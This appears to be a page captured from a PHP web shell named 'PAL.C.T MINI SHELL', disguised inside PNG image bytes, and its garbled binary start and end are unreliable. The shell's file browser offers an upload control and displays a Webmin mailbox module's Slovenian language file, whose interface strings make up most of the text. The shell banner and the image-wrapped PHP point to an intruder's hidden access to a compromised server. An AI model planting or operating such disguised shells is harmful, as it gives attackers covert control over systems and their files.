php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/sl.auto

index_title=Preberite uporabniško pošto
index_none=V tem sistemu ne smete brati e-pošte nobenim uporabnikom.
index_header=Uporabniški nabiralniki
index_empty=Brez pošte
index_return=seznam uporabnikov
index_esystem=V vašem sistemu ni bilo zaznanega nobenega od podprtih poštnih strežnikov (Exim, Qmail, Postfix in Sendmail). Za nastavitev poštnega strežnika in morda poštnih poti ročno nastavite konfiguracijo <a href='$1'>modula</a>.
index_esystem2=Poštnega strežnika, nastavljenega v konfiguraciji modula <a href='$1'></a>, ni bilo mogoče najti v vašem sistemu. Za uporabo pravilnega strežnika boste morali prilagoditi konfiguracijo.
index_esystem3=Pri stiku s poštnim sistemom, nastavljenim v konfiguraciji modula <a href='$1'>, je prišlo do napake</a>: $2.
index_system6=Poštni strežnik: Exim
index_system5=Poštni strežnik: Qmail+VPopMail
index_system4=Poštni strežnik: Qmail+LDAP
index_system2=Poštni strežnik: Qmail
index_system1=Poštni strežnik: Sendmail
index_system0=Poštni strežnik: Poštna številka
index_toomany=V vašem sistemu je preveč uporabnikov, ki bi jih lahko prikazali na eni strani.
index_find=Poiščite uporabnike, kjer je uporabniško ime
index_equals=enako
index_contains=vsebuje
index_eperl=Modul Perl $1, potreben za izbrani način preverjanja pristnosti SMTP, ni nameščen ali manjka odvisen modul. <a href='$2'>Kliknite tukaj</a>, da ga zdaj namestite.
index_file=Preberite pošto v datoteki ali Maildirju:
index_nousers=Uporabnikov ni bilo mogoče najti!
index_nousersmail=Uporabnikov z e-pošto ni bilo mogoče najti.

mail_title=Uporabniški e-poštni naslov
mail_from=Od
mail_date=Datum
mail_subject=Predmet
mail_to=Do
mail_cc=Cc
mail_bcc=Skp
mail_pri=Prednost
mail_highest=Najvišja
mail_high=Visoka
mail_normal=Običajno
mail_low=Nizka
mail_lowest=Najnižje
mail_for=V $1
mail_for2=Za uporabnika $1
mail_sent=V seznamu poslanih sporočil
mail_size=Velikost
mail_level=Rezultat
mail_delete=Izbriši
mail_compose=Sestavi
mail_open=Odprto
mail_return=uporabniški nabiralnik
mail_pos=Sporočila $1 do $2 od $3 v $4
mail_none=Ta uporabnik nima sporočil v $1
mail_ecannot=Ne smete brati e-poštnega sporočila tega uporabnika
mail_all=Izberi vse.
mail_invert=Obrni izbor.
mail_nosort=Ponastavi razvrščanje.
mail_search=Poiščite sporočila, kje
mail_body=Telo
mail_match=vžigalice
mail_ok=Iskanje
mail_nonefrom=Noben
mail_mark=Označi kot:
mail_mark0=Neprebrano
mail_mark1=Preberi
mail_mark2=Poseben
mail_forward=Naprej
mail_move=Premakni v:
mail_copy=Kopiraj v:
mail_rfc=Iz vrstice
mail_eexists=Sporočilo ne obstaja več!
mail_fchange=Spremeni se
mail_indexlink=Vrnitev v nabiralnik
mail_deleteall=Izbriši vse
mail_black=Zavrni pošiljatelje
mail_white=Dovoli pošiljateljem
mail_whitemove=Dovoli pošiljateljem in prejeto pošto
mail_efile=Datoteka za pošto ne obstaja
mail_fromsrch=Poiščite e-pošto z istim pošiljateljem
mail_subsrch=Poiščite e-pošto z isto temo
mail_tosrch=Poiščite e-pošto s prejemnikom
mail_fromfilter=Ustvari filter po pošiljatelju
mail_tofilter=Ustvari filter po prejemniku
mail_subfilter=Ustvari filter glede na zadevo
mail_unknown=Neznano

mail_sign=Prijavite se s ključem
mail_nosign=&lt;Ne podpiši&gt;
mail_crypt=Šifriraj za
mail_nocrypt=&lt;Ne šifriraj&gt;
mail_samecrypt=&lt;Ključi ciljnega naslova&gt;
mail_addresses=Upravljanje imenika
mail_folders=Upravljanje map
mail_err=Pri navajanju pošte v tej mapi je prišlo do napake : $1
mail_loginheader=Prijava na strežnik POP3
mail_loginheader2=Prijava na strežnik IMAP
mail_logindesc=Če želite dostopati do pošte v vašem nabiralniku na poštnem strežniku $1, morate vnesti uporabniško ime in geslo.
mail_loginuser=Uporabniško ime
mail_loginpass=Geslo
mail_loginmailbox=Nabiralnik IMAP
mail_login=Vpiši se
mail_reset=Jasno
mail_logout=Spremenite prijavo v POP3
mail_logout2=Spremenite prijavo v IMAP
mail_sig=Uredi podpis
mail_jump=Skoči na stran :
mail_of=od
mail_replyto=Odgovori na
mail_folder=Mapa
mail_delall=Izbriši vse
mail_deltrash=Prazen koš
mail_search2=Išči:
mail_search3=Poišči z rezultatom zgoraj:
mail_advanced=napredno iskanje
mail_return2=Uporabniški e-poštni naslov
mail_esystem=Pri stiku s poštnim sistemom je prišlo do napake: $1. To mora odpraviti sistemski administrator.
mail_selread=Izberite prebrano.
mail_selunread=Izberite neprebrano.
mail_selspecial=Izberite posebno.
mail_specialsync=Sinhronizacija posebna

view_title=Preberite e-pošto
view_desc=Sporočilo $1 v $2
view_desc2=Sporočilo $1 za uporabnika $2
view_desc3=Sporočilo $1
view_sent=Sporočilo $1 na seznamu poslanih e-poštnih sporočil
view_qdesc=Sporočilo v čakalni vrsti $1
view_headers=Glave pošte
view_body=Vsebina sporočila
view_nobody=To sporočilo nima vsebine telesa.
view_allheaders=Oglejte si vse glave
view_noheaders=Oglejte si osnovne glave
view_attach=Priloge
view_afile=Ime priloge
view_atype=Vrsta priloge
view_aactions=Dejanja
view_aview=Pogled
view_aopen=Odprto
view_asave=Shrani
view_aplain=Surov
view_anofile=Brez imena datoteke
view_asize=Velikost datoteke
view_reply=Odgovori
view_reply2=Odgovori vsem
view_enew=Uredi kot novo
view_forward=Naprej
view_delete=Izbriši
view_print=Natisni
view_strip=Odstranite priloge
view_ecannot=Ne smete brati e-poštnega sporočila tega uporabnika
view_mark=Označi kot:
view_mark0=Neprebrano
view_mark1=Preberi
view_mark2=Poseben
view_markas0=Neprebrano
view_markas1=Preberi
view_markas2=Poseben
view_return=izvirno e-poštno sporočilo
view_sub=Priložena e-pošta
view_sub2=Priložena e-pošta od $1
view_egone=To sporočilo ne obstaja več
view_eugone=Ta uporabnik ne obstaja

view_gnupg=Preverjanje podpisa GnuPG
view_gnupg_0=Podpis s strani $1 je veljaven.
view_gnupg_1=Podpis s strani $1 je veljaven, vendar verige zaupanja ni bilo mogoče vzpostaviti.
view_gnupg_2=Podpis s strani $1 velja <b>NE</b> veljaven.
view_gnupg_3=ID-ja ključa $1 ni na vašem seznamu, zato podpisa ni bilo mogoče preveriti.
view_gnupg_4=Ni bilo mogoče preveriti podpisa : $1
view_crypt=GnuPG dešifriranje pošte
view_crypt_1=Sporočilo je šifrirano, vendar podpora GnuPG ni nameščena.
view_crypt_2=Dešifriranje sporočila ni bilo mogoče : $1
view_crypt_3=Pošta je bila uspešno dešifrirana.
view_crypt_4=Šifriran del sporočila je bil uspešno dešifriran.
view_recv=<a href='$2'>Pridobite ID ključa $1 s strežnika tipk</a>.
view_folder=Vrnitev v nabiralnik
view_dheader=Odstranite prilogo na strežnik
view_detach=File datoteke:
view_dall=&lt;Vse datoteke&gt;
view_dir=v strežniško datoteko ali imenik:
view_black=Zavrni pošiljatelja
view_white=Dovoli pošiljatelju
view_whitemove=Dovoli pošiljatelja in prejeto pošto
view_razor=Prijavi nezaželeno pošto
view_ham=Poroča Ham
view_hammove=Prijavi Ham in Inbox
view_razordel=Brisanje neželene pošte
view_dstatus=Stanje dobave ni bilo mogoče
view_dstatusok=Stanje uspešnosti dostave
view_final-recipient=Končni prejemnik
view_diagnostic-code=Razlog za neuspeh
view_remote-mta=Oddaljeni poštni strežnik
view_reporting-mta=Poštni strežnik za poročanje
view_astext=Prikaži kot besedilo
view_ashtml=Prikaži kot HTML
view_images=Prikaži slike
view_raw=Ogled neobdelanega sporočila
view_aall=Vse priloge shranite kot ZIP.
view_aslideshow=Prikaži vse slike

compose_title=Sestavi e-pošto

reply_title=Odgovori na e-pošto
forward_title=Posreduj e-pošto
enew_title=Urejanje e-pošte
reply_headers=Glave pošte
reply_attach=Posredovani priključki
reply_mailforward=Posredovana sporočila
reply_attach2=Priloge na strani odjemalca in strežnika
reply_attach3=Prenesene priloge
reply_send=Pošlji pošto
reply_ecannot=Tega uporabnika ne smete pošiljati
reply_body=Besedilo sporočila
reply_errc=Kopiranje pošte ni uspelo
reply_errm=Premika pošte ni bilo mogoče
reply_return=sestavite pošto
reply_efwdnone=Nobeno od posredovanih sporočil ne obstaja
reply_dsn=Ali želite zahtevati obvestilo o prebranem stanju?
reply_del=Ali želite zahtevati obvestilo o statusu dostave?
reply_aboot=Ali v prejemnik dodate prejemnike?
reply_tabfrom=Od
reply_tabto=Do
reply_tabreplyto=Odgovori na
reply_tabcc=Cc
reply_tabbcc=Skp
reply_tabsigning=Podpisovanje
reply_taboptions=Opcije
reply_addattach=Dodajte prilogo.
reply_addssattach=Dodajte polje za prilogo na strani strežnika.
reply_html0=Sestavi besedilo
reply_html1=Sestavi HTML

reply_spell=Preverite črkovalne napake?
reply_draft=Shranite kot osnutek
reply_save=Shranite in uredite

send_err=Pošiljanje pošte ni bilo mogoče
send_eto=Manjka naslov
send_efrom=Manjka naslov
send_esubject=Manjka zadeva e-pošte
send_title=Poslano po pošti
send_title2=E-pošta shranjena
send_ok=E-pošta je bila uspešno poslana na $1
send_sending=Pošiljanje pošte na $1 ..
send_ecannot=Tega uporabnika ne smete pošiljati
send_esmtp=SMTP ukaz $1 ni uspel : $2
send_eattach=Priloge ne morejo biti večje od velikosti $1 kB.
send_eperms=Uporabnik $1 ne more brati $2
send_eperms2=Ni vam dovoljeno pošiljati datoteke $1
send_epath=Sendmail izvršljiv $1 ne obstaja.
send_efile=Priloge ni bilo mogoče prebrati $1 : $2 
send_done=.. Končano.

send_epass=Ne morete podpisati sporočila, ker vaša gesla še ni bila nastavljena v modulu GnuPG.
send_esign=Sporočila ni bilo mogoče podpisati : $1
send_ekey=Ključa za e-poštni naslov $1 ni bilo mogoče najti
send_ecrypt=Sporočila ni bilo mogoče šifrirati : $1
send_eword=Napačna beseda $1
send_eword2=Napačna beseda $1 - možni popravki $2
send_eline=V vrstici $1 :
send_espell=V sporočilu so bile najdene naslednje črkovalne napake.
send_draft=Pošta na $1, shranjena v mapi osnutkov.
send_drafting=Shranjevanje pošte v $1 v mapo Osnutki ..
send_eattachsize=Priloga e-pošte je presegla največjo dovoljeno velikost $1 bajtov

delete_title=Izbriši pošto
delete_rusure=Ali ste prepričani, da želite izbrisati izbrana sporočila $1 iz $2? Za veliko poštno datoteko lahko traja nekaj časa. Dokler se izbris ne konča, nobenega drugega dejanja ne bi smeli izvajati.
delete_rusure2=Ali ste prepričani, da želite izbrisati to sporočilo z $1? Za veliko poštno datoteko lahko traja nekaj časa. Dokler se izbris ne konča, nobenega drugega dejanja ne bi smeli izvajati.
delete_ok=Izbriši zdaj
delete_ecannot=Zdaj lahko tem uporabnikom izbrišete pošto
delete_enone=Za brisanje ni izbrana nobena pošta
delete_emnone=Za označevanje ni izbrana nobena pošta
delete_efnone=Nobena pošta ni izbrana za posredovanje
delete_ebnone=Za zavrnitev ni izbrana nobena pošta
delete_ewnone=Za dovoljenje ni izbrana nobena pošta
delete_ernone=Nobena pošta ni izbrana za prijavo kot neželeno pošto
delete_ehnone=Nobena pošta ni izbrana za prijavo kot pršut
delete_emoveuser=Uporabnik za premikanje pošte ne obstaja
delete_ecopyuser=Uporabnik, ki bi kopiral pošto, ne obstaja
delete_emovecannot=Ne smete premikati pošte določenemu uporabniku
delete_ecopycannot=Ne smete kopirati pošte določenemu uporabniku
delete_emovenone=Za premikanje ni izbrana nobena pošta
delete_ecopynone=Za kopiranje ni izbran noben mail
delete_nobutton=Noben kliknjen gumb
delete_ereport=Prijava kot neželena pošta ni uspela : $1
delete_errc=Kopiranje pošte ni uspelo
delete_errm=Premika pošte ni bilo mogoče

confirm_title=Potrdite Delete
confirm_warn=Ali ste prepričani, da želite izbrisati izbrana sporočila $1 iz te mape?
confirm_warnf=Ali ste prepričani, da želite izbrisati izbrana sporočila $1 iz mape <b>$2</b>?
confirm_warn2=Zaradi velikosti in oblike nabiralnika lahko to traja nekaj časa. Dokler se izbris ne konča, nobenega drugega dejanja ne bi smeli izvajati.
confirm_warn3=Ali ste prepričani, da želite izbrisati to sporočilo?
confirm_warn4=Dokler se izbris ne konča, nobenega drugega dejanja ne bi smeli izvajati.
confirm_ok=Izbriši zdaj
confirm_warnall=Ali ste prepričani, da želite izbrisati vsa sporočila v tej mapi?
confirm_warnallf=Ali ste prepričani, da želite izbrisati vsa sporočila v mapi <b>$1</b>?

search_title=Rezultati iskanja
search_ecannot=Ne morete iskati po e-pošti tega uporabnika
search_ematch=Vnesti morate besedilo, da se boste ujemali z.
search_escore=Manjkajoča ali neveljavna ocena nezaželene pošte
search_efield=Izbrati morate vrsto iskanja.
search_ewhat=Za vrstico $1 ni besedila, ki bi se ujemalo z
search_enone=Iskalnih meril ni vnesenih
search_none=Sporočila ni mogoče najti.
search_results2=$1 e-poštna sporočila se ujemajo $2
search_results3=$1 e-poštna sporočila se ne ujemajo $2
search_results4=$1 e-poštna sporočila, ki ustrezajo vašemu iskanju
search_results5=$1 e-poštna sporočila, kjer se $2 ujema $3
search_msg2=Rezultati iskanja za $1
search_msg4=Rezultati iskanja
search_msg5=Rezultati iskanja za neželeno pošto z oceno $1
search_msg6=Rezultati iskanja za $1 v polju $2
search_local=V lokalnih mapah
search_all=V vseh mapah
search_limit=(od zadnjih $1 sporočil)
search_status=S statusom
search_attach=Morajo imeti priloge?
search_allstatus=Kaj
search_onestatus=Samo status
search_latest=Sporočila za iskanje
search_nolatest=Vse v mapi
search_latestnum=Samo najnovejše
search_elatest=Manjkajoče ali neveljavno število sporočil za iskanje
search_withstatus=, s statusom $1

folder_inbox=Prejeto
folder_sent=Poslana pošta
folder_drafts=Osnutki
folder_trash=Smeti

detach_err=Datoteke ni bilo mogoče odstraniti
detach_edir=Nobene datoteke ali imenika, ki bi ga shranili
detach_eopen=Ni mogoče odpreti $1 : $2 
detach_ewrite=Pisanje v $1 : $2 ni uspelo.
detach_title=Odstranite datoteko
detach_ok=Napisal je prilogo na datoteko na strani strežnika $1 ($2).

sform_title=napredno iskanje
sform_header=Napredne možnosti iskanja po e-pošti
sform_andmode=Način meril
sform_and=Poiščite sporočila, ki ustrezajo vsem kriterijem spodaj ..
sform_or=Poiščite sporočila, ki ustrezajo vsem spodnjim kriterijem.
sform_neg0=vsebuje
sform_neg1=ne vsebuje
sform_ok=Iščite zdaj
sform_folder2=Iskanje v mapah
sform_all=&lt;Vse mape&gt;
sform_local=&lt;Lokalne mape&gt;
sform_where=Kje
sform_text=besedilo
sform_from=Od: glava
sform_subject=Zadeva: glava
sform_to=Do: glava
sform_cc=Cc: glava
sform_bcc=Bcc: glava
sform_date=Datum: glava
sform_body=telo sporočila
sform_headers=poljubno glavo
sform_allmsg=celotno sporočilo
sform_size=velikost sporočila
sform_return=napredni obrazec za iskanje

find_enone=Uporabnikov, ki bi ustrezali iskanju, ni bilo mogoče najti
find_title=Rezultati iskanja
find_results=Uporabniki, ki ustrezajo iskanju $1 ..
find_user=Uporabniško ime
find_real=Pravo ime
find_group=Skupina
find_home=Domači imenik
find_size=Velikost pošte
find_incount=E-poštna sporočila
find_sentcount=Poslano
find_fcount=Mape
find_in=$1 v $2

acl_none=Noben
acl_same=Uporabnik z istim imenom
acl_all=Vse
acl_read=Uporabniki, katerih pošte je mogoče prebrati
acl_users=Samo uporabniki
acl_userse=Vsi razen uporabnikov
acl_usersg=Člani skupin
acl_from=Dovoljeno iz naslovov
acl_any=Vsak naslov
acl_fdoms=Domene nabiralnika @
acl_faddrs=Navedeni naslovi
acl_fdom=Kateri koli naslov @ domena
acl_fromname=Pravo ime za naslov
acl_apath=Omejite datoteke in program na imenik
acl_attach=Največja skupna velikost prilog
acl_unlimited=Neomejeno
acl_sent=Shrani poslano pošto v nabiralnik
acl_canattach=Ali lahko pripnete datoteke na strani strežnika?
acl_candetach=Ali lahko datoteke odstranite na strežnik?
acl_usersm=Uporabniki se ujemajo
acl_asame=Enako kot uporabniško ime
acl_usersu=Z UID v dosegu
acl_sec=Vključite sekundarne skupine?
acl_dir=Lahko bere poštne datoteke v imeniku
acl_dirauto=Odločite se samodejno (kjer koli so vidni vsi uporabniki, nikjer drugače)

log_delmail=Izbrisana so sporočila $1 iz $2
log_movemail=Sporočila $1 so premaknjena iz $2 v $3
log_copymail=Kopirana sporočila $1 iz $2 v $3
log_send=Poslano pošto na $1
log_read=Branje pošte za $1

emodified=Ta mapa je bila spremenjena od zadnjega ogleda! Vrnite se na <a href='$1'>seznam e-poštnih sporočil</a> in poskusite znova.

razor_title=Poročanje kot neželena pošta
razor_title2=Poročanje kot Ham
razor_report=Prijava tega sporočila Razorju in drugim zbirkam podatkov o preprečevanju neželene pošte SpamAssassin ..
razor_report2=Poročanje o izbranih sporočilih Razorju in drugim zbirkam podatkov o preprečevanju neželene pošte SpamAssassin ..
razor_report3=Preklic poročanja o izbranih sporočilih Razorju in drugim zbirkam podatkov o preprečevanju neželene pošte SpamAssassin ..
razor_done=.. Končano
razor_err=.. ni uspelo! Glej zgornje sporočilo o napaki za razlog.
razor_moved=.. končano in premaknjeno v mapo $1.
razor_deleted=.. končano in tudi izbrisano sporočilo.

ham_title=Poročanje kot Ham
ham_report=To sporočilo prijavite kot neželeno pošto Razorju in drugim zbirkam podatkov SpamAssassin ..

black_title=Zavračanje pošiljatelja
black_done=Na seznam zavrnjenih naslovov SpamAssassin je dodal e-poštni naslov $1.
black_already=E-poštni naslov $1 je že na seznamu zavrnjenih naslovov SpamAssassin.

white_title=Dovoljenje pošiljatelju
white_done=Na seznam dovoljenih naslovov SpamAssassin je bil dodan e-poštni naslov $1.
white_already=E-poštni naslov $1 je že na seznamu dovoljenih naslovov SpamAssassin.

ldap_emod=Manjka Perl modul $1, potreben za povezavo z LDAP
ldap_econn=Povezave s strežnikom LDAP ni bilo mogoče $2
ldap_elogin=Ni bilo mogoče povezati na LDAP strežnik $1 kot $2 : $3 
ldap_ehost=V konfiguraciji modula ni nastavljen strežnik LDAP
ldap_eport=V konfiguraciji modula ni nastavljenih veljavnih vrat strežnika LDAP
ldap_euser=V konfiguraciji modula ni nastavljena prijava LDAP
ldap_ebase=V konfiguraciji modula ni nastavljen DN LDAP osnovne

delall_title=Izbriši vso pošto
delall_rusure=Ali ste prepričani, da želite izbrisati vso e-pošto z $1? $2 sporočila v skupni vrednosti $3 bodo za vedno izbrisana.
delall_ok=Izbriši zdaj

slide_title=Priložene slike
slide_prev=Prejšnja
slide_next=Naslednji

left_mail=Pošta
left_search=Iskanje:
left_folders=Upravljanje map
left_addresses=Imenik
left_prefs=Nastavitve pošte
left_forward=Posreduj e-pošto
left_autoreply=Samodejni odgovor
left_filter=E-poštni filtri
left_pass=Spremeni geslo
left_sig=Uredi podpis
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`